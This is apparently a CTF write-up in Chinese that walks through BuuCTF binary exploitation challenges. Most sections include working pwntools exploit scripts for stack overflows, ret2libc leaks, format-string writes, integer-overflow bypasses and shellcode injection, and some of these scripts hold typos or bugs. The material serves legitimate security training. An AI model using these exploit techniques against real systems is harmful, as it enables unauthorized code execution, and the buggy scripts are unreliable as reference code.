BuuCTF Pwn WP

WP作者:WZN

题目地址:

https://buuoj.cn/challenges

rip

知识点:栈溢出 re2text

先看一下文件进制和保护措施

很好,什么都没开,我们使用64位的ida分析一下文件

主函数如图

image-20220106222428407

gets()函数存在明显风险,双击s,发现占15个字符

image-20220106222648915

查看函数,发现已有后门函数fun

image-20220106222906423

构造exp,因为pwn1为64位程序,所以要补充8字节填上esp,返回fun的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.arch = "amd64"

io = process("/home/kali/Desktop/pwn1")

fun = 0x401186

payload = b'a' * (15 + 8) + p64(fun)

io.sendline(payload)

io.interactive()

本脚本在本地打通了程序,但是当笔者打靶机(Unbuntu18)的时候,却怎么也打不通,为什么呢?

栈对齐

—— ubuntu libc 为 libc2.27,高版本的libc要求是返回地址必须是16字节对齐(也可以说,远程环境是 ubuntu18,64位的程序则需要考虑堆栈平衡的问题)

我们通过添加一个 ret 指令来使16字节对齐

ROPgadget —binary 文件名 —only “pop|ret”

image-20220106225801614

找到ret地址,再次构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = "amd64"

io = process("/home/kali/Desktop/pwn1")

ret = 0x401016
fun = 0x401186

payload = b'a' * (15 + 8) + p64(ret) + p64(fun)

io.sendline(payload)

io.interactive()

打通了!!!


warmup_csaw_2016

知识点:栈溢出 re2text

首先检查保护措施

image-20220111174521470

什么都没开,我直呼好耶!

接着ida分析一下,F5查看伪代码

image-20220111175030533

可以很明显的的发现gets函数存在明显的栈溢出风险,同时我们注意到了sub_40060D函数

image-20220111175347016
可以看到该段是具有可执行的权限,而0x0804A080正好在此区间

1
CODE

其中明显有获取flag的指令,我们的思路很明确了,通过栈溢出,返回到system函数的地址即可

在这里给出两个获取偏移地址的方法:

获取偏移地址

方法一

我们观察到gets函数读入的是v5,而v5偏移量为0x40,再加上64位ELF文件填充esp需要8字节,即72字节

方法二

使用gdb来获取

使用pattern create 200生成溢出字符,但注意,在生成时要保证其能覆盖到RIP

image-20220111181211228

执行 r 或者 start 命令让程序运行。//注意 start 命令执行后,还需执行 contin 命令。

please input 命令后,将之前生成的溢出字符串粘贴上去。

image-20220111181501942

(1)得到RBP寄存器中 ‘AAdAA3AA’ 。往该字符串后,随便复制一串,进行偏移量计算

image-20220111181737729

执行 pattern offset xxxxxx 命令

image-20220111181757313

(2)复制 stack 复制栈顶的字符串 前四个字节(==64 bits为前8个字节==) 计算偏移量

image-20220111182130097

如上

image-20220111182147634

构造exp即可

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

io = remote('node4.buuoj.cn', 27092)

addr = 0x40060D

payload = b'a' * 72 + p64(addr)

io.sendline(payload)

i.interactive()


ciscn_2019_n_1

知识点:栈溢出 覆盖变量值

首先查看保护机制

image-20220112162031003

跟上面几题不同,本题开启了栈不可执行(NX),这就是说,上两题中通过直接栈溢出执行shellcode的思路不再适用,下面我们通过ida来分析,首先看主函数

image-20220112162531714

主函数并没有什么明显的突破点,不过主函数中间还有个func()函数,让我们去看看它

image-20220112162631073

可以发现,func()函数中存在着明显的漏洞,而且,函数中包括了查看flag的命令,通过观察函数我们知道,当v2的值为11.28125时会执行此命令,至此,我们的思路已经非常清晰了——通过v1进行栈溢出,改写v2的值,使cat flag的命令执行

观察栈

image-20220112163200404

可知,v1所占的空间为0x30 - 0x04(0x2c)(这里还有第二种理解方法,通过本题的第一幅图我们知道,v2和esp距离为2c,所以直接填上0x2c),同时我们写要输入v2的值(16进制呦),构造如下wp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"

io = process("/home/kali/Desktop/ciscn_2019_n_1")

payload = b'a' * (0x30 - 0x04) + p64(0x41348000)

io.sendline(payload)

io.interactive()


pwn1_sctf_2016

知识点:栈溢出 re2text

第一步,查看保护措施

image-20220112165109649

打开了栈不可执行,使用ida打开观察

image-20220112165907727

主函数引我们去看vuln()函数

image-20220112165942120

emmm,着实看不太懂,我们能知道的,就是fgets()函数有32字节的输入长度限制,还有明显的“I”和“you”,以及一个replace()替换函数,先去运行一下吧,

image-20220112173536176

我们输入“I”、“you”和随便一个其它字符,可以明显地发现,只有当输入“I”的时候,程序输出的值发生了变化,每个“I”,都分别变成了“you”,所以上面的replace()函数作用应该就是把“I”和”you”替换

简单了解程序后,我们回到ida,继续观察程序,不难发现,在程序中,存在一个名为“get_flag”的函数

image-20220112174121664

image-20220112175426163

很明显,这个函数就是我们最后要返回的函数,地址为0x8048F0D

回到vuln()函数

image-20220112180401235

image-20220112180412540

我们可以知道,s字符串所占的字节长度为60字节(3 * 16 + 12 = 60),而fgets()函数规定了输入的长度最长为32,这表明我们通过直接输入字符是无法将s覆盖的,该怎么办呢?

通过刚才对程序的分析,我们知道,程序会将“I”转换成“you”,这不就将1个字节转换为3个字节了吗!

需要覆盖60个字节,就只输入20个“I“即可!(==别忘了32位程序ebp的4个字节==)

构造exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *

io = process("/home/kali/Desktop/pwn1_sctf_2016")

payload = b'I' * 20 + b'a' * 4 + p32(0x8048F0D)

io.sendline(payload)

io.interactive()

jarvisoj_level0

知识点:栈溢出 re2text

查看一下保护措施

image-20220113085215834

hh,蛮好的,只开了NX

使用ida查看一下伪代码

main函数,pass

image-20220113085320899

看一下vulnerable_function()函数

image-20220113085404264

不出意外。栈溢出应该是这里发生的

在函数中,我们发现了callsystem函数,众所周知,这是个好函数名

image-20220113085516371

果然如此

由上述分析过程我们可以知道,本题的思路是通过read进行栈溢出,最后返回callsystem的地址

构造exp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.arch = "amd64"

io = process("/home/kali/Desktop/level0")

payload = b'a' * (0x80 + 8) + p64(0x400596)

io.sendline(payload)

io.interactive()

ciscn_2019_c_1

知识点:栈溢出 ret2libc

首先检查保护措施

image-20220117224305676

打开了栈不可执行

用ida查看函数的伪代码

image-20220113214008101

主函数并没有什么明显的泄漏点,我们发现主函数引用了encrpty()函数,去看看这个函数

image-20220113214537036

首先,这是个加密函数,不过由于其判定是否加密的条件在于strlen,我们可以通过输入\0来规避这种加密对于payload的修改;其次,这个函数里有明显的溢出点gets(),而在发现溢出点之后,我们需要寻找函数内部是否有可用的函数段

image-20220113214904475

很遗憾,这个程序里既没有system函数,也没有/bin/sh命令,于是想到这道题可能需要通过libc泄露来做

具体思路如下

1.先通过一次栈溢出,将puts的plt地址放到返回处,通过代码中的puts(输出)功能泄露出执行过的函数(puts)的got地址

2.将puts的返回地址设置为_start函数(我们在ida中看到的main()函数是用户代码的入口,是对于用户而言),而start函数是系统代码入口,是程序最初被执行的地方,也就是程序真正的入口),以用来执行system(‘/bin/sh’)

3.通过泄露出的got地址计算出libc中的system和/bin/sh的地址(system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。)

4.再次执行栈溢出,把返回地址换成system的地址达到getshell

有思路之后,我们回到函数进行分析

image-20220113214537036

由上述思路可知,本题需要两次传入payload进行栈溢出

第一次溢出:

观察函数可知,如果v0 >= strlen(s),就会对我们输入的payload进行一系列”操作“,为了避免这种状况,我们可以利用strlen()函数读到’\0’停止的特性,先向其中传入’\0’

观察s

image-20220113224206053

我们需要向其中输入的垃圾字节为0x50 + 0x08 - 1

64位程序中,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。
当参数为7个以上时, 前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。

puts只有一个参数,就找rdi就行

通过ROPgadget,我们找到了rdi的返回地址0x400c83

image-20220113225117543

之后就是输入puts的got地址和plt地址,并返回主函数准备下一次溢出

第二次溢出:

大致前几步与第一次一样,最后通过LibcSearcher找到/bin/sh和system的地址,需要注意的是,由于是ubuntu,环境要求栈平衡,所以需要ret来使栈平衡

总结思路:

First

  • '\0'绕过strlen()
  • '\0'(0x50 + 0x08 - 1)一起覆盖s,并进行栈溢出(”-1“是因为’\0’占了1字节)
  • p64(pop_rdi)
  • p64(puts_got) 设置rdi寄存器的值为 puts 的 got 表地址
  • p64(puts_plt) 调用puts函数,输出的是 puts 的 got 表地址
  • p64(main_addr) 设置返回地址,上述步骤完成了输出了puts函数的地址,我们得控制程序执行流

让它返回到main函数,这样我们才可以再一次利用输入点构造rop

Second

  • '\0'绕过strlen()
  • '\0'(0x50 + 0x08 - 1)一起覆盖s,并进行栈溢出
  • 为保持栈平衡,输入p64(ret)
  • p64(pop_rdi)
  • p64(binsh)
  • p64(sys_addr)

最后很奇怪的,试了多次之后本地都没有打通,反而在使用LibcSearcher之后线上打通了,下面把两个wp放在下面,希望发现错误的师傅在下面留言,救救孩子🥰

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from LibcSearcher import *

context(log_level = 'debug')

io = remote("node4.buuoj.cn",25334)
io = process('/home/w/桌面/ciscn_2019_c_1' )
elf = ELF('/home/w/桌面/ciscn_2019_c_1' )
libc = ELF('/home/w/桌面/libc-2.27.so' )

pop_rdi = 0x0000000000400c83
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x0000000000400B28

payload1 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

io.sendline('1')
io.sendlineafter('encrypted\n', payload1)
io.recvuntil('Ciphertext\n')
io.recvuntil('\n')
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
#recvuntil('\x7f')[-6:],意思是接收到 \x7f,然后把从这往前6字节长度取出来
#j
#ljust(8, '\x00'),补齐8个字节
#目的是使用u64解小端序恢复正常顺序
print(hex(puts_addr))

ret =0x00000000004006b9
"""
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.symbols["/bin/sh"].next()
"""
libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump("puts")
sys_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")

io.sendlineafter('choice!\n', '1')

payload2 = b'\0' + b'a' * (0x50 + 0x8 - 1) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)

io.sendlineafter('encrypted\n', payload2)

io.interactive()


补充相关知识

(一)

  • 32位系统,libc的函数地址是\xf7开头,长度4字节。
  • 64位系统,libc的函数地址是\x7f开头,长度6字节。

(二) 函数调用方式的介绍

  • 32位程序:先将参数压入栈中,靠近call的是第一个参数;运行执行指令的时候直接去内存地址寻址执行
  • 64位程序:通过寄存器来传址(这就是本题需要rdi的地址),寄存器去内存寻址,找到地址返回给程序

​ 以下是64位程序调用

image-20220208220203180

(三) plt && got

ELF 文件中通常存在.GOT.PLT 和.PLT 这两个特殊的节,ELF 编译时无法知道libc 等动态链接库的加载地址。如果一个程序想调用动态链接库中的函数,就必须使用.GOT.PLT和.PLT 配合完成调用。

image-20220208224607394

如在上图中,call _printf 并不是跳转到了实际 _printf 函数的位置。因为在编译时程序并不能确定printf 函数的地址,所以这个call 指令实际上通过相对跳转,跳转到了 FLT 表中的printt 项。下图中就是 PLT对应 printt 的项。ELF 中所有用到的外部动态链接库函数都会有对应的 PLT 项目。PLT 表还是一段代码,作用是从内存甲取出一个地址然后跳转。取出的地址便是_ printf的实际地址,而存放这个_printf 函数实际地址的地方就是最后一张图中的 GOT.PLT 表。

image-20220208224856505

image-20220208224954887

可以发现,.GOT.PLT 表其实是一个函数指针数组,数组中保存着 ELF 中所有用到的外部函数的地址。GOT.PLT 表的初始化工作则由操作系统来完成。

而由于 Linux 非常特殊的 Lazy Binding 机制。在没有开启 Full Rello 的 ELF中,GOT.PLT 表的初始化是在第一次调用该函数的过程中完成的。也就是说,某个函数必须被调用过, GOT.PLT 表中才会存放函数的真实地址。

GOT.PLT 和.PLT对于 PWN 来说有什么作用:

  • PLT 可以直接调用某个外部函数
  • .GOT.PLT 中通常会存放libc中函数的地址,在漏洞利用中可以通过读取.GOT.PLT 来获得 libc 的地址,或者通过写.GOT.PIT 来控制程序的执行流。

[第五空间2019第五主题]PWN5

知识点:格式化字符串

老规矩,先查看保护措施,可以看见,本题打开了NX和Canary保护

image-20220117224305676

使用ida观察伪代码,发现Canary和NX都开了,也就是说,上面的大部分思路都不适用于本题,而此时我们也可以去考虑格式化字符串漏洞

image-20220124212256393

我们可以很明显的发现两个点,一,当atoi(nptr) = dword_804C044时,会调用system函数,而通过上部分的伪代码,我们可以得知由于Canary保护的开启,dword_804C044为一个随机的值;二,由于printf(buf)并未做出输出的限制,存在着明显的风险

至此,我们的思路基本就确定了:

  • 通过printf判断参数在栈上的位置
  • %n修改参数内容,改变数据
  • 在进入if判断时输入我们覆盖随机数对应的数据,进而达到绕过Canary的效果

我们先找到read的地址,即0x0804928D,接下来,就要计算偏移量了,明确参数在栈上的位置

image-20220124223608850

这里提供几种方法:

参数在栈上的位置

第一种,火眼金睛

image-20220124224424084

这里再查看栈

image-20220124224457611

数出来就是10!!!

第二种,

image-20220124225558720
AAAA对应的十六进制是41414141,可以看到我们输入的参数是在栈上的第10个位置

第三种

image-20220124225929349

在确定好偏移值后,我们查看随机数的字节数——是4字节

image-20220124230446052

因此,我们可以在输入地址后,分别用%(10 - 13)$hhn去修改bss数据段里的内容,构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

io = process('/home/w/桌面/pwn' )

addr = 0x0804C044;

payload = p32(addr) + p32(addr + 1) + p32(addr + 2) + p32(addr + 3) + b'%10$hhn%11$hhn%12$hhn%13$hhn'

io.sendline(payload)

io.sendline(str(0x10101010))
#每个字节都改成了0x10,所以这个数字就是0x10101010

io.interactive()

or

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = process('/home/w/桌面/pwn' )

addr = 0x0804C044;

payload = p32(addr) + b'%10$n'

io.sendline(payload)

io.sendline('4')

io.interactive()

ciscn_2019_n_8

查看保护措施

image-20220125232624084

太可怕了,保护全开!!!

我们观察伪代码

image-20220125232554495

运行

image-20220125232817638

可以发先,本题的思路,意外的简单——让var数值的第14个值等于17,就可以执行system函数,而var在bss段,单位大小为dd即4字节,var[13]即13*4,_QWORD为8字节,构造payload即可

1
2
3
4
5
6
7
8
9
10
from pwn import *

io = process('/home/w/桌面/ciscn_2019_n_8')

payload = b'a' * 13 * 4 + p32(17)
#payload = p32(17) * 14 (都给17w)

io.sendline(payload)

io.interactive()

jarvisoj_level2

查看保护措施

image-20220126222439362

ida查看伪代码

image-20220126222520890

进函数堪堪

image-20220126222543947

这里有明显的可利用函数

查看buf所占空间

image-20220126222952194

在函数中并没有/bin/sh,不过有不少system函数,shift + 12,发现有/bin/sh,思路至此敲定,从read入手,返回system与/bin/sh即可

esp如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

io = remote('node4.buuoj.cn', 27740)

# system只能选取已经执行过的system !!!
payload = b'a' * (136 + 4) + p32(0x0804845C) + p32(0x0804A024)

io.sendline(payload)

io.interactive()


[OGeek2019]babyrop

知识点:栈溢出 re2libc

checksec一下

image-20220201221020133

发现只开了NX和RELRO,接下来查看并分析ida伪代码

image-20220201221158610

在参考众多WP之后,才看懂了代码的逻辑,

image-20220201221440994

调用的 sub_80486BB() 函数里有一个alarm()闹钟,会阻碍调试,而主函数中的fd是一个文件句柄,打开了一个给定随机值的文件,截断成四字节的int赋值给buf传入sub_804871F()

image-20220201221718503

这个函数内部也没有明显的点,sprintf()将参数 a1 转换成字符串 s,下一行读入字符串 buf,v6 为其长度,接着把buf最后的字符去掉了,v1为其新长度

image-20220201222552489

溢出点应该在这个函数之内,通过控制参数a1尽可能的大(0xff就不错),触发read(0, buf, a1)的栈溢出,而想要向其输入较大的a1,通过分析函数,我们知道了,a1是上一个函数sub_804871F()的返回值,为了通过这个函数输入较大的a1,我们需要向buf中输入\0来防止exit(0)执行退出,即我们需要在sub_804871F()中也需要通过read进行一次栈溢出

我们查看buf所占的大小

image-20220201230214120

让 buf 的长度达到 8 就能覆盖掉 return 的变量

同时,我们查看程序中是否存在system()函数和’\bin\sh’

image-20220201223537008

很遗憾,没有 —— 不过没关系,题目给了我们对应的libc,我们可以通过执行程序获取write和system以及/bin/sh的偏差值,进而得出他们在程序中的地址,所以需要进行两次溢出,本题的类型,正是 —— ret2libc

我们构造payload的思路如下图所示

payload

具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(log_level = 'debug')

io = process('./pwn')
#io = remote('node4.buuoj.cn', 26902)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so' )

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825

payload = b'\0' + b'\xff' * 7

io.sendline(payload)
io.recvuntil("Correct\n")

payload1 = b'a' * (0xE7 + 4) + p32(write_plt) + p32(main)
payload1 += p32(1) + p32(write_got) + p32(4)

io.sendline(payload1)

write_addr = u32(io.recv(4))
#u32就是把机器码转换w地址
write_libc = libc.sym['write']
sys_libc = libc.sym['system']
binsh_libc = libc.search(b'/bin/sh').__next__()

base = write_addr - write_libc
sys_addr = base + sys_libc
binsh_addr = base + binsh_libc

payload2 = b'\0' + b'\xff' * 7

io.sendline(payload)
io.recvuntil("Correct\n")

payload2 = b'a' * (0xE7 + 4) + p32(sys_addr) + p32(main) + p32(binsh_addr)

io.sendline(payload2)
io.interactive()


get_started_3dsctf_2016

先查看保护措施

image-20220205215601286

好耶耶耶耶耶耶耶耶·!!!只开了NX!!!

(ida打开之后,整个人都,不好,了!)

那一堆函数震惊到我,那简单至极的main函数让我欣喜,那黑深残的gets函数更让我破防

image-20220205225323244

image-20220205225352299

当我们按下shift和F12时,有喜亦有忧

image-20220205225620722

明显的flag和不存在的binsh

我们查看flag在哪里

image-20220205225701794

在这之后,我认为只要让gets函数跳转到这个函数,再将a1与a2传入即可,而这种方法,在本地是切实可行的,而在远程不行的!!!

为什么?

在查阅大佬们的WP之后,我明白了,由于我们跳转函数并输入值的手法是栈溢出,在执行完之后,程序便会崩溃,所以在本地我们可以接到它,而在远程,由于程序的崩溃,使得后续的交互 — interactive 无法正常执行,我们便无法得到返回的flag,因此,我们要在程序中执行exit函数,保证函数的正常退出,避免崩溃

注意的是,32位程序调用函数约定:函数 返回地址 参数1 参数2 参数3…,因此我们要先把exit()的地址填上,再填a1、a2

找到地址

image-20220205230929235

贡上WP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

io = process('/home/w/桌面/get_started_3dsctf_2016' )

offset = 0x38
exit_addr = 0x0804E6A0
flag_addr = 0x080489A0
a1 = 814536271
a2 = 425138641

payload = offset * b'a' + p32(flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)

io.sendline(payload)

io.interactive()

EX

在看到师傅们的WP,明白了新的暴力解题方法


bjdctf_2020_babystack

知识点:栈溢出 整数溢出

终于碰上个简单题了,注意本题后面的补充有新知识点!

查看保护措施

image-20220206225022234

ida伪代码

image-20220206225045374

主函数让我们先输入一个值,再将这个值作为read函数的输入限制,但并不妨碍我们进行栈溢出

我们再看其它函数,发现了一个叫backdoor的函数

image-20220206225508626

这个函数也确实没有欺骗我们,后门函数确实存在!

我们只需要输入一个较长的数值,保证buf被覆盖,同时,输入返回地址即可,但别忘了,本题与前面的有一点不同,是64位的,因此rbp占8字节

我们查看buf大小

image-20220206230455079

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.arch = "amd64"

io = process('/home/w/桌面/bjdctf_2020_babystack' )

backdoor = 0x4006e6

p.sendlineafter("Please input the length of your name:\n", "50")
payload = b'a' * (0x10 + 8) + p64(backdoor)

io.sendline(payload)

io.interactive()

整数溢出(部分)

在写完本题查看其它师傅写的WP时,发现了这个题的进阶体

bjdctf_2020_babystack

此题大致思路(甚至是WP)都与上题相差不多,但是对输入的值,即read的范围做出要求,即不能大于10,而单单buf的地址就已经比10多了,我们该怎样,才能绕过这一层判断呢?答案就是整数溢出

在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是1就是负数。最高位是0就表是正数,当有符号数溢出时。会从最小的值开始,-xxxxx然后依次+1。

既然有“有符号数”,当然也存在着“无符号数”,他们的范围如下

image-20220206231327253

其危害主要有以下几点

(1)数据截断:当发生溢出时。数据会被截断

a\b\r为3个8位无符号整数。范围大小为0-255
a = 11111111
b = 00000001
r = a + b = 100000000
由于a和b相加的值超出了8位。发生溢出。截取8位。r就变成了0

(2)宽度溢出:当一个较小宽度的操作数被提升到了较大操作数一样的宽度。然后进行计算。如果计算结果放 在较小宽度那里那么长度就会被截断为较小宽度。

比如一个32位的运算结果。放到了16位寄存器。那么就会取后16位

(3)改变符号:有符号整数溢出时。就会改变正负。

0x7fffffff + 1 = 0x80000000 = - 2147483648

(4)无符号与有符号转换:将有符号数赋给无符号数后。会从-1变成无符号数的最大数 当把无符号数赋给有符 号数,会从无符号数最大数变成-1、

因此在本题中,我们利用整数漏洞

nbytes 为4字节的 signed int 类型(有符号数),read 的输入限制为 unsigned int 类型(无符号数),因此,一种想法,我们可以输入”-1”,躲过检查,同时-1就会变成unsigned int的最大值;第二种想法,我们可以输入 => 2147483649,signed int 类型被当做负数小于10,read函数中 unsigned int 类型被当成正整数 2147483649


ciscn_2019_en_2

跟“ciscn_2019_c_1“基本一样 ,pass


not_the_same_3dsctf_2016

本题大致思路与not_the_same_3dsctf_2016,类似,不同的是,本题在找引用flag的函数地址时,发现并没有读取的函数

image-20220209224458112

因此我们要在退出之前通过write()函数进行输出,需要注意的是,write()需要三个参数,而其第二个为要读的内容,所以我们还需要找到flag的地址

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

io = remote('node4.buuoj.cn', 28286)
#io = process('/home/w/桌面/not_the_same_3dsctf_2016' )

offset = 45
exit = 0x0804E660
write = 0x806E270
secret = 0x080489A0
flag = 0x080ECA2D

payload = b'a' * offset + p32(secret) + p32(write) + p32(exit) + p32(1) + p32(flag) + p32(100)

io.sendline(payload)

io.interactive()


[HarekazeCTF2019]baby_rop

image-20220209225906072

打开ida查看

image-20220209231658078

主函数已经将system函数给了我们,此外,我们还可以搜到/bin/sh字符串,确实是一道简单的rop

由于这是64位程序,我们想将/bin/sh作为system的参数,就必须要先将字符串存放进rdi寄存器中,再通过寄存器传进system

查找rdi

image-20220209232150770

EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = process('./babyrop')

sys_addr = 0x400490
binsh_addr = 0x60104B
rdi_ret = 0x400683

payload = (0x10 + 8) * b'a' + p32(rdi_ret) + p32(binsh_addr) + p32(sys_addr)

io.sendline(payload)

io.interactive()

ciscn_2019_n_5

知识点:栈溢出 re2shellcode

查看保护措施

image-20220215220235506

ida查看伪代码

image-20220215220252458

由于本题没有开任何保护措施,同时缺少system和·binsh,我们有两种思路,一种是前面的retlibc,另一种是更为简单的retshellcode,鉴于此WP目前还没有出现retshellcode,本题我采取此种方法解决

我们的思路分为两步,

一、向name注入生成的shellcode

在进行操作之前,我们先查看name所处的内存空间的读写权限

image-20220215220913454

name所在的位置可读可写

二、通过gets返回name地址执行shellcode

查看栈溢出需要的垃圾字节数

image-20220215221010324

以下是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context.arch = "amd64"

io = process('/home/w/桌面/ciscn_2019_n_5' )

shellcode = asm(shellcraft.amd64.linux.sh())

io.sendlineafter("tell me your name\n", shellcode)

name_addr = 0x601080

payload = b'a' * (0x20 + 8) + p64(name_addr)

io.sendlineafter("What do you want to say to me?\n", payload)

io.interactive()

others_shellcode

直接nc(疑惑),pass


ciscn_2019_ne_5

先checksec

image-20220313230109015

32位,只开了NX保护

ida查看main函数

**这里用ida来F5查看main函数报错了,大概率是不知道call去哪里了,根据错误提示找到call,点进函数F5,再点回main函数就好了(雾**

以下是漫长复杂的主函数

image-20220313225857835

尽管代码又臭又长,但是逻辑很清晰:输入正确的管理员密码(代码已经将密码给出了),当登陆账户之后,你就有权进行三(隐藏的四)个操作

主函数并没有明显的突破点,我们将目标转换到引用的函数中,前三个函数都没有什么值得注意的地方,而第四个“Get Flag”几乎是明示这里有“问题”了

image-20220313231154482

这里有个进行复制的strcpy函数,我们分别查看src和dest的大小

src:

dest:

image-20220313231705952

dest大小只有48,比src小不少,所以,这里的复制可以用来制造栈溢出

查找system和/bin/sh

image-20220313234435043

很遗憾,只有system

需要注意的是,只取sh也可以作为参数执行命令,而我们发现了名为“fflush”的字符串,在其地址(0x080482E6)加四,即为sh地址

image-20220313235139972

b’a’*4 + p32(0x080482EA)

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

io = process('...')

# 登录
io.sendlineafter("Please input admin password:",'administrator')

# 提前构造payload
payload = b'a' * (0x48 + 8) + p32(0x080484D0) + b'a'*4 + p32(0x080482EA)

# 操作
io.sendlineafter("Input your operation:",'1')
io.sendlineafter("Please input new log info:",payload)
io.sendlineafter("Input your operation:",'4')

io.interactive()

铁人三项(第五赛区)_2018_rop

知识点:栈溢出 re2libc

先查看保护措施

image-20220314230611059

只开了NX保护

ida查看伪代码

image-20220314230705825

查看各个函数

image-20220314230751950

可以发现,在vulnerable_function函数中,buf占0x88空间,而我们要输入的为0x100u,明显多于buf的空间,可以在此进行栈溢出

看完主函数,并没有特别明显的思路,查看一下字符串

image-20220314231009147

也没有system\bin\sh,这应该是libc类型,我们需要通过泄露write函数的地址对system\bin\sh地址进行计算

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSeacher import *

io = process('...')
elf = ELF('...')

main_addr = 0x80484c6
write_plt = elf.plt['write']
write_get = elf.got['write']

payload1 = b'a' * (0x88 + 4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

io.sendline(payload1)

write_addr = u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
# write_addr=u32(r.recv(4))
libc = LibcSeacher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)

io.sendline(payload2)

io.interactive()

解释:

主要思路 —— 利用write的plt泄漏write函数的真实地址。通过write函数在libc中的相对偏移量计算libc的基地址

而payload1中,p32(main_addr)后面的内容,就是write的参数(我们就是通过write函数自己来泄露它的实际地址),在这里,我们重新复习一下write函数

ssize_t write(int fd,const void*buf,size_t count);

参数说明:

  • fd:是文件描述符(write所对应的是写,即就是1)
  • buf:通常是一个字符串,需要写入的字符串
  • count:是每次写入的字节数

bjdctf_2020_babystack2

haha,写这题的时候发现以前好像写过,往前翻了翻,果然有,这题分析步骤与bjdctf_2020_babystack区别不大,这里只放py了哈

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = "amd64"

io = process('/home/w/桌面/bjdctf_2020_babystack2' )

backdoor = 0x400726

payload = b'a' * (0x10 + 8) + p64(backdoor)

io.sendlineafter("Please input the length of your name:\n", '-1')
io.sendlineafter("What's u name?\n", payload)

io.interactive()

错误的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = "amd64"

io = process('/home/w/桌面/bjdctf_2020_babystack2' )

backdoor = 0x400726

payload = b'a' * (0x10 + 8) + p64(backdoor)

io.sendlineafter("Please input the length of your name:\n", '0x80000001')
io.sendlineafter("What's u name?\n", payload)

io.interactive()

在这里我们尝试使用第二种思路构造payload,但是始终不能打通,在动态调试中我们


jarvisoj_fm

知识点:栈溢出 格式化字符串

第一步,checksec

image-20220318182931598

开了canary,意味着会有随机数阻碍我们进行栈溢出

第二步,查看主函数

image-20220318183117816

内置system,让我们很高兴,但是因为canary保护的存在,我们是不能通过直接进行栈溢出改写x的值的,我们观察函数上方,发现了printf(&buf)并没有对输出的值进行限制,因此我们想到使用格式化字符串漏洞的知识点

要构造exp,我们必须知道偏移量,我们利用printf去求

方法一

image-20220318184737173

方法二

image-20220318184805000

偏移量为11

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

io = io = process('/home/w/桌面/fm' )

x_addr = 0x0804A02C

payload = p32(x_addr) + '%11$n'

io.sendline(payload)

io.interactive()

在这里解释下payload,我们通过%11$n定位到了偏移值为11的位置,并向其写入数据,而正如我们所知,%n会写入到目前为止所写的字符数,而写入数据正是由%11$n前面的参数的长度决定的,而我们传入的x的地址,恰好是4字节(位),因此不需要添加a来补齐位数即可直接利用,将x参数改为4

需要a的情况

image-20220318195955385

格式化字符串

上一题地址:[第五空间2019第五主题]PWN5

碰到两个格式化字符串漏洞的题目之后,也有了一些心得体会,在这里记录

参考资料:https://www.wlhhlc.top/posts/17489/ (dota爷真的写的很好!!!)

一、原理与常用函数

格式化字符串函数是将计算机内存中表示的数据转化为我们人类可读的字符串格式,可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。

函数 介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等 ……

由于printf较为常用,这里补充一下printf的参数:

